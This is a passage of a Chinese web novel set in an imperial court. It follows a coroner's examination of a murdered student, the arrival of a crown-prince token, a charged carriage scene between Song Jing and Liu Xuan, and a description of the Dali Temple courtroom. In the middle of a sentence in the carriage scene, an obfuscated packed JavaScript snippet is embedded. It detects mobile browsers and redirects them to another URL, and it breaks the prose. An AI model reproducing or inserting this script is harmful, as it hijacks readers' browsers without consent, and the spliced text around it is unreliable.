“王寺丞过誉了,宋某正有此意。”宋旌倾身,抱拳施礼,嘴角扬起一抹从容不迫的弧度,“既然王寺丞盛情相邀,那宋某便却之不恭,恭敬不如从命了。” “欸~宋小将军说的哪里话?”王寺丞见宋旌上了套,笑得那叫一个灿烂,脸上的皱纹都挤成了一朵盛开的花,眼中闪过一丝不易察觉的阴冷,“柳公子与宋小将军乃是拳拳赤子心,一心想为陛下分忧解难,实在是太过客气。此案有你们二位相助,又何愁不破?” 言罢,王寺丞弯腰,客气地做了一个请的手势,“宋小将军,请。” 随后,王寺丞与刘中丞一同迈过那扇通往里间的门槛,步伐轻松,似乎又多了几分抽身脱罪的底气。 宋旌与柳悬紧随其后,同王寺丞一同步入那安置着魏凡尸首的房间。 屋内,气氛压抑,空气沉闷得让人无法呼吸。 范法曹早在那王寺丞与刘中丞尚未踏入内堂时,便已察觉到众人的到来。 此刻,范法曹已经识趣地停下了手中的笔录,正恭恭敬敬地矗立在书案旁,将一颗头低垂至胸口,静待那两位郎君的进一步指示。 “太医博士,怎还未来?”那王寺丞与刘中丞止步于房间的角落,与那令人不悦的尸首保持一段最远的距离。 两人以袖轻掩口鼻,眉头微蹙,神色愠怒,在厉声斥责众人的同时,屏住呼吸,仿佛连一呼一吸都不愿与这片晦气的地界有丝毫的沾染。 在众人畏惧的目光中,那位早已抵达却迟迟未能得到指令的太医博士,仿佛是一只卑微的山羊,他躬起身,低下头,在众人的注视下缓缓挪动脚步,走上前来。 “还不快些查验,好瞧清楚魏公子究竟是因何而丧命。”王寺丞与刘中丞连瞥一眼那尸体的兴趣都没有,侧身一站,冷哼一声,语气冰冷且不容违抗,向那位白发苍苍的太医博士发号施令。 太医博士应声“是”,随即颤颤巍巍地上前,在一旁布衣小孩的协助下,小心翼翼地将覆盖在魏凡尸身上的白布揭开。 魏凡的尸体直挺挺地躺在长桌上,面色惨白,四肢僵直,双眼紧闭,透露出一股不祥之气。 此时,距离魏凡断气未及四个时辰。 尸身已开始散发出淡淡的腐臭,口鼻间的刺鼻气味愈发的浓烈。 太医博士,身形佝偻,步履蹒跚,缓缓走近那躺在长桌上的尸身。 这位年逾古稀的老者先是站在尸身的右侧,凝视着魏凡的五官。 接着,他颤巍巍地伸出双手,轻轻地触摸魏凡的额头、两颊、下颌,以及双耳之后,动作虽缓,却异常细致。 太医博士翻开魏凡的眼皮,仔细观察起眼球的色泽与瞳孔的状态,口中喃喃自语道:“死者顶心、囟门完整,额部与两额角完整……” 其后,太医博士小心翼翼地解开魏凡的衣襟,露出魏凡的前胸后背,用目光打量起魏凡心窝处的刺伤,缓缓伸手,用布衣小孩递来的工具,简单地测量出伤口的长度、宽度与深度,并仔细检查了周围的肌肤,寻找着可能存在的线索,口中继续唱报道:“心窝有一处贯穿伤,似由尖锐的利器所致,长八分,宽两分,深九寸……” 继而,太医博士查看起魏凡的四肢。 先是上肢,从肩膀到手腕,太医博士用手逐一摸索,在僵硬的肌肉上检查起魏凡生前是否有骨折或其他异常现象。 再是下肢,从大腿到小腿,太医博士细致入微,最后停留在魏凡的足弓处,轻轻按压,确认其是否完整。 太医博士一丝不苟,一边检查,一边唱报:“……四肢俱全,无骨折之象,两足弓完整。” 最后,太医博士眉头紧锁,神情十分凝重,将两根又细又长的银针分别插入魏凡的喉部与腹部,并用指尖轻轻捻动,再轻轻按压魏凡的喉结,检查其是否有异物或肿胀,又用手掌轻拍魏凡的腹部,听其声音,试图寻找中毒或内脏损伤的迹象。 直至所有流程走完,太医博士才让那布衣小孩取来一碗醋,泼在一旁烧得正旺的炭火上。 烟雾瞬间腾起,太医博士举步维艰地迈过火盆,从烟雾中走出,走到两位郎君的面前,颤颤巍巍地躬身,声音沙哑地汇报着:“下走回禀两位郎君,魏公子五官无丝毫异样,四肢俱全,肌肉无萎缩,关节亦无僵硬。前胸后背,除却那心窝之处的一道深深刺伤,亦再无其他伤痕。公子喉部、腹部,经下走仔细检查,均未见中毒或损伤之迹。身上虽有一两处拳头欧击之伤,以及数处齿痕与撞击之伤,然皆非致命伤。愚以为,唯心窝之刺伤,深达九寸,此乃真正的致命之伤无疑矣。” 说完,太医博士也不敢贸然起身,只是弯着腰,举起那只有些颤抖的手,轻轻用袖口擦了擦额角渗出的热汗,眼神中透露出几分忐忑与不安。 此时,一直从旁默默观察、从不发言的刘中丞,终于出声打破了沉默:“那依你所见,魏公子是他杀?还是自戕?” 太医博士埋下头,脸上露出一丝犹豫之色,心中亦是拿不准主意,他深知自己虽然医术尚可,但是对于检尸验伤,也只是略通些皮毛,这一时半刻,要他准确说出这伤的成因,着实有些为难。 太医博士缓缓抬起眼,目光在两位郎君间游离,最终还是被迫认命,沉重地垂下眼帘,声音中夹杂着不易察觉的颤抖,身形宛如秋风中摇曳的烛火:“请两位郎君宽宥,下走才疏学浅,委实难以断言。” 此言一出,四周静默,彼此只闻得无数细微的心跳声与呼吸声,众人皆望向角落里的两位郎君,希望他们能给出些许明确的指示,或是定个查案的基调,可是众人等来的,却是死一般的沉寂。 “自是他杀无疑。” 就在这安静得令人心悸的时刻,一道沉稳的声音如一柄利剑,在魏凡的尸首旁骤然响起,瞬间划破了屋内的死气。 众人纷纷循声望去,只见说话的人正是方才跟随在王寺丞身后的轮椅少年。 柳悬不知从何时起,已悄无声息,移动至魏凡的尸首旁 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柳悬不以为意,轻轻松松地将手中的银棍再次插入魏凡的胸腔中,还原出刺伤的走势,眸光一暗,沉声说道:“此伤不仅是一道施力均匀、由下至上的伤痕,且伤痕为前窄后宽,伤痕边缘极为齐整,显然是凶手在魏公子毫无防备、未及反抗之时,从身后一击即中,没有丝毫犹豫,而那凶器也被他不经思索地抽出了死者的身体。” 柳悬正说着,那布衣小孩赶紧好奇地翻过魏凡的尸身去瞧,果真瞧见魏凡背后的伤口大小较前胸更大,且两端伤口的创面都极为整齐。 经柳悬一番解释,众人犹如茅塞顿开般恍然大悟,可是宋旌却不由自主地凝眉深思起来。 柳悬见宋旌面色沉凝,心中疑云也愈积愈厚。 自从上次周屹在浮云斋言及蒋礼遇鬼之事时,他便敏锐地察觉到宋旌的言行颇为异常! 柳悬心中不禁好奇,一向厌烦那些酒囊饭袋的宋旌缘何突然对素无瓜葛的蒋礼与魏凡如此关注? 甚至为了探明魏凡一案背后的真相,当宋旌明知道王寺丞意图祸水东引至他的身上时,他仍然要冒着将宋府也牵扯进与太子相关的纷争之中的风险,甘愿投身于王寺丞所提前设置的陷阱中…… 宋旌此刻,也正在暗自揣度起那素日里疏懒省事、不愿多管闲事的柳悬为何偏要在魏凡一案中横生枝节? 宋旌岂会看不出太医博士验伤时,魏凡身上那道刺伤的异样? 在场之人中,若是论起与兵刃杀伐打交道的经验,除他宋旌以外,恐怕无人敢自称第二。 然而,他先前才刚听闻魏凡与蒋礼曾独处一夜,他心中不免生疑:倘若魏凡果真是被他人刺伤致死,那蒋礼的嫌疑岂不是最大? 宋旌念及此处,心中颇为踌躇,他不想将蒋礼也牵扯进这桩杀人案中,故而一直隐忍不言,知情不报。 在宋旌思忖时,他下意识地瞥了一眼远处的柳悬,却刚好撞见柳悬也在打量他。 两人相视一眼,又默契地移开视线。 “尔等方才于内堂细加查问,可曾问出些有价值的线索?”王寺丞见事态已经发展至关键处,他即使再不想给自己惹麻烦,也不得不站出来,履行自己的职责。 宋旌见王寺丞那老狐狸默叹一声,强行抖擞起精神,主动向书案旁静候多时的范法曹发问,言辞间流露出一丝怠慢。 范法曹见自己苦候良久,终于有机会开口说两句,连忙躬身施礼,回道:“回郎君的问话,方才我等询问过魏公子院中的侍女与侍郎,他们皆称昨夜唯有栖霞院的蒋公子与魏公子相伴,两人曾于房中发生过争执,亦有拳脚相向之态,期间并无他人近身侍奉。” “那蒋公子此刻何在?可曾将其控制在德馨殿内?”王寺丞蹙起一双白眉,无奈地继续追问,语气中已带有些许不耐。 “这……”范法曹见王寺丞不问缘由,只求结果,一时间,十分为难,支支吾吾了半天,也不知道该如何作答,眼神中透露出一丝惶恐。 王寺丞见范法曹神色异常,心里明知此事必有蹊跷,也怨不得范法曹这种芝麻绿豆点大的小官,却还是怒声斥责道:“这什么这?我问你话,你吞吞吐吐是那般? 范法曹被王寺丞突然一喝,吓得浑身一颤,几乎要瘫倒在地,连忙跪下,磕头如捣蒜,颤声回道:“这……这蒋公子乃是槐地鲷州蒋刺史的公子,身份尊贵,我等不敢贸然拿人……” 蒋刺史? 蒋聪? 那岂不就是皇后母族的亲属? 论辈分,还是太子殿下的舅父? 在场的为官者听闻此言后,皆是心中一凛,相视一眼,却又默契十足地继续保持沉默,无一人敢直言其中的复杂关系。 “……” 那王寺丞亦是一愣,眼中闪过一抹复杂之色,随即恢复如常,沉默片刻,俯身至刘中丞的耳畔,两人低声耳语了几句,眉眼间流露出一丝谨慎。 众人只见刘中丞微微颔首,神色亦变得凝重起来。 随后,王寺丞便转身对众人说道:“此事关系重大,我与刘中丞需即刻请示何御史与罗少卿,稍后再做定夺,尔等在此期间需按章办事,不得懈怠。” 说完,王寺丞又悄悄向范法曹使了个眼色,低声吩咐道:“你稍后,且让外间的宿卫统领领人去栖霞院查看蒋公子是否在院中。若在,则暗中监视其行踪,切勿打草惊蛇;若不在,则速速寻回,切勿让其惹出其他事端,更不可让人逃离此地。” 范法曹仔细听着,连忙点头,一一应承下来,心中暗自庆幸自己终于摆脱了这块烫手山芋。 随后,王寺丞又与匆匆赶来德馨殿的学博们交代了一番事宜,在与宋旌、柳悬草草寒暄了几句后,王寺丞便同刘中丞一道离去了。 现场,只留下一众英才院的门生与小吏们在原地议论纷纷,各自猜测起这桩杀人案背后的真相究竟是如何。 23.阿祺 依照旗国的法度,宋旌与柳悬需得在德馨殿,接受问事官的一番详尽盘查。 通常,大理寺的问事官会先记录下案发之地所涉人员的规模、姓名、家世渊源,再细细追问每一个人案发之时,身处何所,可有何证人证言,与案件中的各个关键人物有何瓜葛牵连,最后,又问其可曾觉察到在案发时或案发地有何可疑的人或事,需要禀报于大理寺,以助其详察此案的真相……诸如此类。 此番流程,繁琐复杂,一般人怕是要耗上四五个时辰有余,才能得以脱身。 然而,宋旌毕竟不是英才院中那等寻常的客子,他宋家在盛京中,乃是声名显赫的重臣世家,威望与颜面俱存,宋旌更是自幼便得圣上的青眼,那般荣耀,岂是寻常人可以比拟? 是以,大理寺的各级官员小吏,无不争相照拂,对宋旌与柳悬自是另眼相看,礼遇有加,不敢有丝毫怠慢。 再看那英才院中,虽然聚集了各地奉诏而来的官家子弟,但是这些官家子弟的家族多远离京城,且圣上为了防止地方权臣于京中安插眼线、培养势力,特意下令,严禁所有赴京学子于盛京置办宅院。 除柳悬借住于宋府,孙禹栖身于太子东宫之外,余下众人皆需循规蹈矩,不得擅自离开英才院半步。 如此情境之下,纵然身处这天子脚下的盛京,然而权贵遍地,犹如繁星点点,难以触及。 这些客子们亦如漂泊之舟,在这波涛汹涌的权势之海中,自是难以立足,仿若步步荆棘,举步维艰。 若非像蒋礼、魏凡那般,其背后的家族势力极其庞大,犹如古树盘根错节,根深叶茂,甚至能够左右京官的态度。 在家族的庇荫下,或许还可以勉强在这暗流涌动的京城中,谋得一席之地,活得稍显滋润。 否则,像余下那些既无根基,又无倚仗的官家子弟,即便父辈祖辈倾力谋了个一官半职,他们也只能谨小慎微,更难获得那九品小吏的几分优待。 宋旌与柳悬回完话后,那些小吏们皆是小心翼翼,恭恭敬敬,将两尊大佛送出了德馨殿,其言语间满是奉承与敬畏,生怕一不小心就得罪了两位贵子。 按常理来说,飞雪、连松这些侍从本应该安排在各位主子之后再行问询。 可是世态炎凉,人情冷暖,正如那俚语所言,“锦上添花易,雪中送炭难”,人们往往习惯于趋炎附势。 所以条例虽然是死的,可是人们办起事来却也是活人活用。 因此,宋旌与柳悬甫一踏出殿门,便瞧见丹良与轻红等人已在石阶下候着,好似早就知道他们会在此刻出现一般。 “宋将军。”一道陌生的声音骤然从丹良的身后响起。 宋旌循声而望,只见一个低眉顺眼的华服男子正伫立在不远处,面带微笑。 男子仿佛是专门在此等候宋旌,一见到宋旌望向他,便主动迎了上来。 “我家公子乃琅地孙域使之子,我是公子身边的近侍,名唤阿祺。”阿祺熟稔地自我介绍道,声音不急不缓,似乎拥有与寻常侍郎截然不同的风范,仿佛是经历过许多大场面的高门贵子,即使在宋旌这种高官显爵面前也丝毫不露怯。 宋旌之前见过他,在与孙禹两军对垒的时候,阿祺就一直守在孙禹身边,直到宋旌领兵攻进霓城,狼烟四起时,随行的将士一刀挥下,在孙禹身前,斩断他的头颅,宋旌都未曾在他的脸上瞧见过一丝的波动,仿佛他天生就是这般,除了那恰到好处、犹如精心设计过的笑意以外,他再也不会有其他的表情。 “我家公子特地命我在此恭候,诚邀宋将军一同前去旁听蒋公子刺死魏公子一案的审问。”阿祺开门见山,直接挑明来意,一点儿也不拖泥带水。 宋旌沉默不语,暗暗将指尖微微颤抖的右手藏于袖中,负于身后,竭力克制着那股源自于身体本能的冲动,眼神晦暗,仿佛在内心深处正与某种情绪作着激烈的斗争。 阿祺从怀中掏出一枚镶嵌金边的上好玉牌,玉牌上泛着淡淡光泽,叫人一看便知这玉牌绝非凡品。 阿祺用双手将玉牌呈递至宋旌眼前。 “此乃公子今晨刚讨来的令牌,将军持令可随意进出大理寺。” 宋旌的目光落在那枚令牌上,眼中闪过一抹狠厉,他不明白孙禹到底想跟他耍什么花招,他可不记得自己以前跟孙禹的关系竟好到对方会特意差人来送太子令,就为了助他能光明正大去大理寺探听魏凡的案情。 出于猎手对于危机那天生的警觉,宋旌不由自主地握紧双拳,十分戒备,像一只蓄势待发的猛虎,瞪大一双铜铃般目露凶光的眼睛,看上去极其骇人。 阿祺保持双手呈递令牌的姿势,一动不动,宛如一尊雕塑,仿佛宋旌不肯收下他手中的令牌,他便会一直维持现状。 周遭逐渐弥漫开一股紧张而又微妙的气息。 伴随木轮轻轻碾过地砖的声响,阿祺忽觉手心一轻,那枚玉牌已悄然落入柳悬的掌心。 “这太子令何其珍贵,孙公子对鹑儿倒是上心,”柳悬懒洋洋地倚靠在轮椅的扶手上,一边随意点评起孙禹的心意,一边若无其事地把玩起那枚玉牌上的黄穗,不知不觉间,柳悬已用身子遮住了宋旌的右手,目光和煦,轻笑道:“柳某正愁那戒备森严的大理寺非寻常人能进,托鹑儿的福,当真是想什么就来什么。” “哥哥……” 宋旌神色不明,欲言又止,见柳悬突然替他收下那碍眼的东西,不想跟孙禹沾染上半点瓜葛的他原还想将玉牌从柳悬的手中抢过来,却不出意外地扑了个空。 “好了,” “我知晓你也有法子,” “不过眼下那戏院的戏台子已经搭好,院(原)主还亲自送了邀帖来,你我不收,岂不是辜负了人家的一番美意?” 柳悬不仅抢了孙禹给宋旌的玉牌,还抢了宋旌欲言又止的话。 “今早那场戏尚未落幕,哪有观众先行离场的道理?”柳悬轻轻一掷,那玉牌便稳稳落入飞雪手中,柳悬用那一双狡黠的眸子轻轻掠过宋旌一眼,扬唇浅笑,眉梢微挑,打趣道:“鹑儿忘了,不是才说过柳某去哪,皆有你作陪?怎的,这会儿便不乐意了?” 宋旌与柳悬的心境不同,他实在无心与柳悬调笑,面色阴郁,左手五指先是微微张开,随后又紧握成拳,他心有不甘,却只能隐忍不发,他张了张嘴,终是无言以对,最后还是不得不选择沉默。 宋旌心知,收下令牌方为上策。 如今,他与孙禹井水不犯河水,孙禹又有意与他修好,正如当年那般,他若毫无缘由就表现得太过排斥,物极必反,反倒有可能引起孙禹的无端猜忌。 想清楚这一点,宋旌尽管心中仍有万般不愿,却也只能无奈地叹一声气,勉强挤出一抹笑意,妥协道:“哥哥想听,我自当奉陪到底。” 阿祺目睹此情此景,心中不免泛起一阵涟漪,他着实没有想到,这玉牌居然还真能送出去。 阿祺记得,出门前,他主子还特意叮嘱过他,让他不要在意玉牌能否送出手,只要把话带到就行。 思及此,阿祺连忙直起身子,向柳悬深深躬身,行了个无可挑剔的礼,仿佛是一位经历过无数宫礼训练的老官,每一个动作都精准到令人挑出瑕疵,“请柳公子恕阿祺无礼,我家公子在临行前,确有一句话嘱咐我务必转达给将军……” 方才,若不是柳悬突然插手,阿祺早已将孙禹的嘱托传达完毕。 “公子要我转达的话是……”阿祺有意在此停顿片刻,用眼角余光悄悄观察着宋旌的反应,试图捕捉宋旌脸上的表情,“将军曾许诺会亲自登门拜访,还望将军能铭记于心,切莫轻易忘了与公子的约定。” 说完,阿祺又低下头,目光似有若无地落在宋旌身上,似乎在等待宋旌的回应。 宋旌不由一愣,脑海中的回忆像走马灯一般闪现过几个零星的画面,片刻后,他才恍然想起,他曾让管家替他传话的事,只是他当时说的“登门拜访”与孙禹所提的“登门拜访”显然有截然不同的含义罢了。 “既然令牌已顺利交予将军,那奴便先行告退了。”见宋旌凝神不语,似乎没有要留下什么话的意思,阿祺尽管心里直犯嘀咕,但仍是识时务地退下了。 在阿祺恭敬地行礼并告退后,柳悬当即命飞雪去准备马车。 宋旌心中藏着事,思绪纷飞时,竟忘我到连连松是何时离他而去,也未曾察觉。 当宋旌走出英才院的大门时,他才发现身边除柳悬以外,仅剩下丹良一人。 此番出行,柳悬同样只带了飞雪。 飞雪记得上回宋旌回府时,曾不住地抱怨马车坐着不够舒坦,于是,她此番专门为宋旌多备了一匹骏马。 然而,世事难料,宋旌这次竟然又突发奇想,趁飞雪不注意时,直接钻进了柳悬的马车,将那匹正悠闲地叼着半根草的骏马留给了满脸错愕的飞雪。 就这样,丹良成了驾车之人,飞雪则负责驾驭那匹被主人“遗弃”的骏马,而马车内的宋旌与柳悬则相邻而坐。 自宋旌上车以来,柳悬便紧闭双眸,假寐不语,对宋旌的存在视若无睹。 宋旌轻手轻脚,向车厢深处挪动寸许。 柳悬的马车与寻常的马车不同,为了停放轮椅,车厢中央没有设置车座。 宋旌的手指紧紧搭在轮椅的扶手上,将柳悬缓缓拉至身侧。 “哥哥。”宋旌轻声呼唤,像是试探。 可柳悬却置若罔闻,仿佛车厢中只有他一人。 在柳悬每一次因宋旌而做出不合常规的事情时,柳悬便会忍不住暗自懊恼。 就像柳悬初来盛京,与宋旌同船游湖那一次,柳悬因为见不得宋旌那副孔雀开屏的模样,故意将宋旌挤下船,害他当着众人的面变成一只落汤鸡后,他也会不由自主地选择逃避,将自己藏匿起来,像一只遇见危机时只顾把头埋进沙子里的鸵鸟,以为那般自欺欺人,就可以避开所有的麻烦与困扰,表现出一种掩耳盗铃的稚态,令宋旌感到无奈又好笑。 “哥哥?” 宋旌的声音再次响起,夹杂着一丝玩味与好奇,好像一只猫在逗弄到手的猎物,轻轻撩拨着柳悬的心弦。 柳悬心中一阵烦乱,他正懊恼自己为何会一时冲动,去替宋旌解围,为何总是忍不住为宋旌而忧虑,去替宋旌操心本不该他操心的事,跟宋旌去趟他本不想趟的浑水,更懊恼自己为何会为了宋旌,平白无故去招惹孙禹那个麻烦。 然而,就在柳悬心烦意乱,实在不想理睬宋旌的时候,宋旌已经悄然缩短了他与柳悬之间的距离,以一只猎豹悄悄接近猎物的姿态,将屈膝的右腿,巧妙地嵌进柳悬的左腿与轮椅的扶手之间,左手则稳稳当当地撑在椅背上,身子俯低向前,仿佛要将柳悬的每一寸都笼罩在他的阴影下,让柳悬变成一只被猛兽覆盖的猎物。 柳悬只觉得身下的轮椅仿佛承受不住某种沉重的压迫,猛地向下一沉,宋旌身上那股独特的甘霖气息,如潮水般扑面而来,不留一丝间隙,将他紧紧包裹。 温热的气流随之灌入柳悬的耳蜗,有酥酥麻麻的电流蔓延至柳悬全身,带着一丝丝不可言喻的挑逗,让柳悬的心停顿了一下又加速跳动。 当宋旌的薄唇在一片旖旎的柔光中轻轻擦过柳悬那娇嫩的耳垂时,柳悬听见宋旌在他的耳畔低语道:“哥哥若还装睡,我可就要忍不住亲你了。” 亲? !!! 这个字眼忽然化作一道闪电,瞬间划破柳悬心中的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14361295|148359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平静、击中柳悬的心尖。 柳悬浪费了一整个早晨,本就试图将那些混乱的记忆暂时抛诸于脑后,此刻却被宋旌轻描淡写地勾起。 那些记忆仿佛拥有了生命,如海浪般汹涌而至,冲击着柳悬的脑海,将柳悬的思绪淹没。 柳悬倏尔瞪大眼睛,其中既有羞愤与惊恐,又有不解与慌乱,柳悬用双手本能地抵挡住宋旌逐渐逼近的胸膛,几乎是从齿缝间硬生生地挤出了几个音节:“烦请宋公子自重!” 柳悬刻意咬字很重,言语间满是警告。 柳悬不明白,宋旌这是要闹哪样? 倘若昨夜还能当作是一场意外,那今日呢?柳悬只觉着不可理喻、难以置信。 宋旌莫非在湖中呛一次水,真就将自己给呛傻了不成?竟会想同自己分桃而食!? “自重?”宋旌那低沉的嗓音里,轻轻发出一阵低笑,他仿佛是听到了什么极为好笑的事,笑声中带有几分轻视与挑逗。 宋旌轻推了柳悬一下,当柳悬的身体不受控制地触碰到椅背的木板时,宋旌将柳悬抵在椅背上,左腿也跟着抬起,双膝跪坐在轮椅上。 轮椅发出“吱嘎”一声轻响,同柳悬的心一起,又向下沉浮了几分。 就这样毫无征兆地,宋旌以半跪在轮椅上的姿态,悬在柳悬的上方,又凭借着自己在力量上的绝对优势,轻而易举地将柳悬压制在椅背上。 宋旌用一只宽大的手掌饶过柳悬头上那顶木制发冠,紧紧扶住柳悬的后颈,仿佛是为了防止柳悬逃跑一般,将柳悬牢牢掌控在自己的手中。 宋旌倾身向前,逐渐凑近。 两人的鼻息纠缠,令柳悬感到窒息。 宋旌的两边薄唇在昏暗的车厢内与柳悬的唇瓣相距不过三寸。 宋旌的眼睛紧紧地锁住柳悬的眼眸,眸光深邃,仿佛要将柳悬的灵魂剖开,直直地闯进去一般。 柳悬听见宋旌用低沉而充满诱惑力的嗓音说:“哥哥几次唤我鹑儿时,怎就不记得自重是何物?在哥哥眼里,我们何时已相熟至能互唤乳名的地步?不知子夏可愿为我答疑、解惑?” 宋旌的嘴角勾起一抹笑意,他故意拉长语调,语气暧昧,哪怕“子夏”两个字,他已经当着柳悬的面唤过好几次,也在心里默念了无数遍,可是现下听来……仍是别有一番深意,当宋旌临了了,又有意发出一个尾音上扬、充满挑衅与质疑的“嗯?”字时,他那肆意张扬的模样被橘红色的阳光映衬得,活像是一个能勾人心魄的妖怪。 随着话音落下,宋旌的身躯像是一座坍塌的山峰般倾轧而下,寸寸紧逼。 柳悬瞪大眼睛,避无可避,他的双手已经抵挡不住宋旌的侵略,他只觉得自己的心跳如鼓,每一次跳动都伴随着一股莫名的心悸。 宋旌的呼吸渐渐变得沉重而急促,他的眼里蕴开一层水雾,脸在柳悬的视线内逐渐放大,离柳悬越来越近,近得彼此那滚烫的呼吸像是无数的火星子一般,洋洋洒洒地落在对方的脸上。 就在两人的气息越缠越紧时,宋旌那只扶住柳悬后颈的手情不自禁地摩挲过柳悬耳后的软.肉。 宋旌的手指上有细细密密的茧,指尖并不光滑。 当略显粗糙的指肚,像是一块极其细腻的砂纸,轻柔地剐蹭过柳悬那光滑细嫩的肌.肤时,柳悬仿佛被电流击中,整个身体都禁不住发颤。 柳悬面色通红,呼吸凝滞,他紧张地眨了眨眼睛,在细密的睫毛轻轻颤动时,他不自觉地吞咽数下,那轮廓分明的喉结在柳悬那修长的脖颈上,上下滚动,发出细微而清晰的声响。 柳悬此刻神色慌张,他已分不清是紧张、恐惧,亦或是某种不可言说的心动,他只觉得自己的耳边一边空白,所有的声音都在远去,唯有那分不清是谁的心跳声与凌乱的呼吸声清晰地回荡在脑海里。 这一刻,柳悬的心底只有一个念头在不断地闪烁,那便是:逃! 柳悬只觉得,若是自己再不逃跑,或许就真的再也逃不掉了…… 于是,柳悬像是一只落入猎人陷阱的困兽,他无助而又奋力地挣扎,挣扎得双耳至颈后的肌肤因为他的抵抗与内心的激荡,而泛起一片潮.红。 刹那间,柳悬的余光无意间捕捉到车厢外的景象,飞雪身下的骏马在晃动的帷幔间时隐时现,仿佛近在咫尺,只要他轻轻向外呼唤一声,以飞雪的敏锐力,定能冲破这车厢的束缚,带他逃离那令人窒息的境地。 可是,柳悬偏偏就是在这时犯了轴,他不愿当着宋旌的面,轻易服软,更不想让飞雪瞧见他被宋旌压制得不能动弹。 就在这千钧一发之际,马车突然剧烈地颠簸了一下,仿佛是天意使然,将这片刻的僵局瞬间打破。 柳悬趁机猛地一挣,试图从宋旌的臂弯下挣脱出来,然而,他发现宋旌的手掌也随之一紧,似乎早有准备,自己依然被宋旌那坚实的臂膀牢牢地锁在身下。 “主子,到了。”丹良的声音适时地从车厢外传来,为柳悬谋得一线生机。 宋旌的目光逐渐从幽深转为清明,理智再度回归。 宋旌缓缓阖上双眼,在与柳悬若即若离时堪堪止步,他深吸一口气,从轮椅上徐徐起身,手指似不经意间,划过柳悬那红里透粉的耳垂,仿佛是在贪念那份温软与细腻。 宋旌清冷一笑,眼底是无限温柔,眼中却闪烁着几分严肃与认真:“哥哥往后再唤我鹑儿亦无不可,只是……像今日这般,哥哥得掂量掂量这一声声鹑儿背后的代价,为免哥.哥.日后耍赖,哥哥还是唤我旌儿为妙。” 说完,宋旌便阔步离开,匆匆下了马车,在柳悬看不见的地方,拍了拍胸脯,强行压下胸腔中几近失控的心跳,在默念“罪过”时,暗道一声:“好险好险。” 24.堂审 这大理寺,古老而庄重,红墙绿瓦在阳光下熠熠生辉。 长长的石阶下,摆放着两尊高达两丈的石狮。 人立于石狮下,渺小得如同蝼蚁。 仰首而望,官帽欲脱。 需得用手扶住帽顶,石狮下的人才能窥得那石狮的全貌。 宋旌虽是活过两次,却也是头一遭踏入这大理寺的地界。 宋旌与柳悬有太子令在手,从府门一路行来,畅通无阻。 大理寺的大门由两扇高大厚重、布满金色铜钉的木门组成。 跨过小腿高的门槛,有一条环廊包围着正中央的前殿。 环廊后,是一排排敞开门的厢房。 厢房内,有无数的官员穿梭其间。 从远处看去,能看见每个人的书案上都堆满了厚厚的书册。 再往下跨过几级台阶。 面前是一方极为开阔的空地。 空地两旁,种着两颗经历了久远年代的参天大树。 平日里,那些惩治贪官污吏与大奸大恶之人的公审案便是在此处审理。 当着盛京百姓的面,惩恶扬善,以博取民心,引得百姓们纷纷叫好。 穿过广场,再上几级台阶,跨过一道巍峨的殿门后,往里走,进入前殿,就会昏暗许多。 这座开门可见的前殿,一般是用来堆放各地刚送上来的卷宗。 在这里,有相应的官员,对不同的卷宗进行分类、审阅、批复与归档。 从前殿往后。 穿过一条幽深、静谧的甬道。 甬道两旁的石柱上均雕刻有威严、骇人的神兽,它们横眉怒目,齐齐望向甬道下路过的行人,令人一眼望去,不禁胆寒。 随后,在沙沙作响的树林尽头,有一座精致的中殿,那才是大理寺中官员们日常审理案件的地方。 进入正堂,宋旌只见堂内陈设极具文人风范,在不失威仪的同时,庄重典雅,处处透着古韵。 堂内正中央,是一张巨大的公案。 公案上摆放着质量上乘的文房四宝、一块厚重的惊堂木,与一卷卷案宗。 公案旁,分别矗立着两座等身高的巨石雕像,一座狴犴,一座獬豸。 再看那公案后,则是一把雕刻着梅兰竹菊四君子的太师椅,那是日常审理各类案件时,主审官坐的地方, 在主审官的身后,还挂有数十幅大理寺历代名臣的画像,以供后人瞻仰、学习。 此刻,那太师椅上空无一人,但是那股庄严肃穆之气却扑面而来,让人心生敬畏。 在公案两旁,是排列得整整齐齐的几排官椅,那是给参审官员们坐的地方。 官椅后方的石墙上,是一排排书架,书架上摆满了各种律法典籍与案卷,以便大理正随时查阅翻看。 除此以外,还分别设有旁听席与涉案人员席。 在旁听席上,摆放着几张带有茶几果盘的坐椅,以供有身份、有地位的达官显贵们旁听审判; 而涉案人员席则设置于公案侧前方的角落里,方便主审官询问案情,审视证据。 宋旌与柳悬一入得正堂,那眼尖的王寺丞便发现了两人,还略微有些讶异。 大理寺的规矩,严如铁律,能入内旁听的人,屈指可数,几近于无。 寻常情形下,除了那些直接参与此案的官员,与部分涉案人员以外,其余闲杂人等皆被严苛地拒之门外,莫说从旁窥探公堂上的奥秘,便是靠近一步,也是难如登天。 一般,唯有那些关乎朝廷要务、轰动朝野的大案,才会特许一些有名望、权势的人旁听。 此举,不过是幸帝为了彰显朝廷的公正无私,与司法的公开透明而故弄玄虚罢了。 然而,若是那案子牵涉到皇室贵族或是朝廷秘辛,那便更是讳莫如深。 除去圣上与圣上御笔亲批的官员,旁人若是胆敢妄图染指这些密案,那便是自寻死路,轻则,落个身首异处,重则,招致满门抄斩,绝没有一例幸免的道理。 今日,主审魏凡一案的官员,正是晨时众人议论纷纷的罗少卿。 罗少卿,乃德盛年间的探花郎,生得仪表堂堂,举止温文尔雅。 在幸帝登基时,这位罗少卿曾立下过汗马功劳,与太子殿下更是渊源不浅。 宋旌与柳悬在中殿入座后,有专门负责侍奉的小吏上前伺候,两人约莫等了一个时辰左右,身穿绯色官服的罗少卿与身着紫色官服的何御史才逐一入堂。 此刻,罗少卿端坐于公案后,一身官服衬得他是沉稳、静穆,何御史则坐于公案旁设置的监审席上。 何御史是御史台的人,此次出席主要是为了监督大理寺一众官员的办案流程是否合法合规,按理来说,他并不直接介入本案的审理过程。 